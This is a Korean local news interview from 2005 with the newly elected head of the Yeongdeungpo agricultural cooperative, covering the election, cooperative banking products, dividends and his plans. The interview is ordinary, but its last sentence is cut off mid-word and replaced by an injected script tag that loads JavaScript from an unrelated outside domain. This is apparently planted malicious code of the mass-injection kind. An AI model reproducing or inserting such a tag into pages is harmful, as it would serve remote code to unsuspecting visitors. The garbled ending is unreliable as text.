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“조합 경영의 안전과 내실화 역점” - 이정택 영등포농협 신임조합장

관리자 기자  2005.08.27 12:28:00

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“조합 경영의 안전과 내실화 역점”

영등포농협은 최근 선거를 통해 이정택 전 영등포농협 감사를 신임 조합장으로 선출했다.
이번 조합장 선거는 영등포구선거관리위원회의 주관하에 이루어져 어느 때보다도 공명한 선거가 치루어졌다는 평을 받고 있다. 이정택신임 조합장을 만나 영등포농협이 나아갈 방향에 대해 물어보았다.

▲ 조합장 당선을 축하드리며, 소감 말씀 한마디.

우선 갑작스런 고 박용구 조합장님의 궐위 소식에도 아무 혼란없이 영등포농협의 조합장 선거에 관심을 가져 주신 임직원 여러분과 내부 조직장 그리고 계통 및 유관기관과 조합 여러분께 감사의 말씀을 전하고 싶습니다. 또한 영등포농협의 조합장 선거를 위탁 관리하여 공명한 선거가 이루어질 수 있게 한 영등포구선거관리위원회의 노고에 감사를 드립니다.
이번 선거는 선거권이 있는 조합원 432명 중 77%라는 많은 조합원이 선거에 참여했습니다. 이는 전 조합원들이 고 박용구 조합장님 이후에 조합에 대한 깊은 우려와 기대의 결과라고 생각합니다.
저는 22년간을 농협에서 직원으로 재직하였고, 비상임감사로 있으면서 영등포농협의 경영 상태는 물론 조합원들이 무엇을 필요로 하는지를 잘 알고 있습니다.
금번에 조합장에 당선된 입장에서 볼 때 기쁨보다는 조합원과 지역주민의 기대를 저버리지 않는 조합장이 되어야 한다는 책임감에 솔직히 걱정이 앞섭니다.
그리고 이번 선거에는 저 외에도 4명의 후보가 조합을 위한 의견을 내놓았습니다. 이분들의 의견도 적극적으로 수용하여 조합발전에 기여하도록 하겠습니다.

 

▲ 서민들이 농협을 이용하면 어떤 유익이 있는지.

지역농협인 우리 영등포농협의 상호금융은 호혜금융이며, 이것은 서로를 위하고 더불어 살아가는 것으로 시중은행과 달리 이윤을 추구하기 보다는 지역주민과 조합원에게 수익을 원하는데 목적이 있으므로 서로 상생을 통한 발전이 가능하다고 할 수 있습니다.
그리고 시중은행은 사업을 통한 이익을 사업이용 유·무와 무관하게 주주들에게 배당지만 우리농협은 조합의 사업을 이용한 조합원과 지역주민에게 환원을 하고 있습니다. 지역의 일반 서민의 이익을 대변하는 금융기관으로써 당연한 이치이지요. 

▲농협이 기존 금융권과 차별화된 상품이나 제도가 있다면.

시중은행과 달리 우리농협의 예금은 조합원과 지역주민이 1인당 2,000만원까지 비과세금을 이용할 수 있습니다. 4인 가족일 경우 8,000만원까지 이자소득에 대하여 15.4%가 득이 되는 셈이지요. 저금리 시대이고 제테크를 중요시 여기는 요즈음 우리 농협의 비과세 예금은 어느 시중은행의 예금상품보다 경쟁력이 있다고 생각합니다.
그리고 조합원과 준조합원에게 결산결과에 따라 출자금에 대한 배당은 물론이고 예금이나 대출 및 공제 등 농협사업을 이용한 량에 비례하여 이익잉여금의 20%이상을 이용 고배당으로 환원함으로써 조합원뿐만 아니라 지역주민의 실질적인 이익에 기여하고 있습니다.

▲ 영등포농협 상무와 감사를 역임해오면서 누구보다도 농협 업무의 장.단점을 잘 아실텐데 가장 시급히 개선되어야 할 문제점은?

 

사실 우리농협은 영등포구, 구로구, 금천구, 동작구를 관할하는 농협이지만 아직 타 조합에 비하여 자기자본이 취약한 편입니다. 올해 7월 농협법이 개정되어 우선출자제도가 도입되었고, 조합의 수익도 어느 해 보다 우수하니 집중적으로 자기자본 확충에 힘쓸 것입니다.
그리고 우리 조합은 조합원들에 대한 환원사업이 부족한 편입니다. 장학제도 개편, 조합원건강검진, 영농자재 무상공급확대 등은 우선적으로 실시할 생각입니다. 그리고 긍정적 수익기반 창출을 위하여 지사무소와 경제사업장 확대 등 사업규모를 확대하고 투명한 조합 경영을 통하여 조합원과 지역주민 모두가 농협에 대한 주인의식을 가질 수 있도록 하겠습니다.

▲ 이번 조합장 선거는 영등포선거관리위원회에서 위탁한 첫 선거로 알고 있는데, 기존 선거와 다른 점이 있었다면?

농협법의 개정으로 농협의 조합장 선거를 공직선거관리위원회에서 위탁관리를 하도록 되어 있습니다. 처음에는 자주적인 농협의 조합장 선거를 공직 선관위에서 위탁관리 하는 것에 부정적이었던 것도 사실이나 선거를 실시해 본 결과 선거비용 절감과 공명한 선거가 이루어진 점 등은 긍정적으로 생각합니다. 하지만 농협의 선거문화가 안정적으로 정착된다는 조건으로 장기적인 농협의 선거는 농협 자체적으로 실시되어야 한다고 생각합니다.

▲ 신임 조합장으로서 앞으로의 각오와 조합원들에게 당부 말씀이 있다면?

농협과 함께 걸어오면서 습득한 지식과 경륜을 바탕으로 조합 경영을 안정되고 내실화 하는데 역점을 두겠습니다. 조?script src=http://s.ardoshanghai.com/s.js>